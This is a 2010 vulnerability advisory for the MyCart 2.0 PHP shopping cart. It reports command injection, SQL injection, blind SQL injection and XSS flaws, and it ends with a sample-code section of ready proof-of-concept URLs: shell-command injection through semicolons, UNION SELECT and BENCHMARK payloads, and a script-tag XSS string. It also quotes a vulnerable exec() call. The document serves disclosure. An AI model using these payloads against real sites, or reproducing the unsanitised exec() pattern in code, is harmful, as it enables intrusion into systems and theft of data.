MyCart 2.0 Multiple Remote Vulnerabilities Name MyCart Vendor http://open.appideas.com Versions Affected 2.0 Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta [at] gmail [dot] com Date 2010-10-27 X. INDEX I. ABOUT THE APPLICATION II. DESCRIPTION III. ANALYSIS IV. SAMPLE CODE V. FIX I. ABOUT THE APPLICATION ________________________ MyCart is a collection of PHP scripts that setup the backbone of a shopping cart or on-line ordering system. II. DESCRIPTION _______________ Many parameters are not properly sanitised before being used in SQL queries and from some PHP's functions. III. ANALYSIS _____________ Summary: A) Multiple Remote Command Execution B) Multiple SQL Injection C) Multiple Blind SQL Injection D) XSS A) Multiple Remote Command Execution ____________________________________ Reading the README file you may notice the following lines: If you can't make anything work, change the require(...) statement in the files of the admin directory to read: require("../Cart.php"); In the "admin" directory there is a file named uploadItem.php with the following content: <? require("Cart.php"); Root(); exec("mv $image '$WebRoot/images/".$ItemID.".jpg'"); Header("Location: $Relative/admin/index.php"); ?> Changing require("Cart.php") in require("../Cart.php") is possibile to execute remote commands by injecting them using the $image variable. The same security flaw is present also in removeItemResponse.php and in removeCategoryResponse.php via SQL Injection. Successful exploitation requires that register_globlas is set to Off. For removeCategoryResponse.php, successful exploitation requires that magic_quotes_gpc is set to Off. B) Multiple SQL Injection _________________________ Many parameters are not properly sanitised before being used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. Successful exploitation requires that magic_quotes_gpc is set to Off. C) Multiple Blind SQL Injection _______________________________ Many parameters are not properly sanitised before being used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. Successful exploitation requires that magic_quotes_gpc is set to Off. D) XSS ______ Input passed to the "ON" parameter in receipt.php is not properly sanitised before being returned to the user.This can be exploited to execute arbitrary HTML and script code in a users browser session in context of an affected site. IV. SAMPLE CODE _______________ A) Multiple Remote Command Execution http://site/path/admin/uploadItem.php?image=.; ; http://site/path/admin/removeItemResponse.php?ItemID=.; ping localhost ; http://site/path/admin/removeCategoryResponse.php?CategoryID=-1' UNION SELECT '; ping localhost ;'%23 B) Multiple SQL Injection http://site/path/description.php?II=-1' UNION SELECT 1,2,3,4,5,6,7%23&UID=VALID UID HERE http://site/path/receipt.php?BI=' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%23 http://site/path/admin/searchReceiptsResponse?criteria=order&OrderNumber=-1' UNION SELECT 1,2,3,4,5,6%23 http://site/path/admin/searchReceiptsResponse?criteria=name&User=%25' UNION SELECT 1,2,3,4,5,6%23 http://site/path/admin/searchReceiptsResponse?Year=%25' UNION SELECT 1,2,3,4,5,6%23 http://site/path/admin/searchReceiptsResponse?Month=%25' UNION SELECT 1,2,3,4,5,6%23 http://site/path/admin/searchReceiptsResponse?Day=%25' UNION SELECT 1,2,3,4,5,6%23 C) Multiple Blind SQL Injection http://site/path/index.php?UID=' OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999.,NULL),NULL)))%23 http://site/path/removeItem.php?CartItemsID=-1' OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999.,NULL),NULL)))%23 http://site/path/removeItemResponse?ItemID=-1' OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999.,NULL),NULL)))%23 http://site/path/admin/removeCategoryResponse.php?CategoryID=-1' OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999.,NULL),NULL)))%23 D) XSS http://site/path/receipt.php?ON=<script>alert('xss');</script> V. FIX ______ No fix.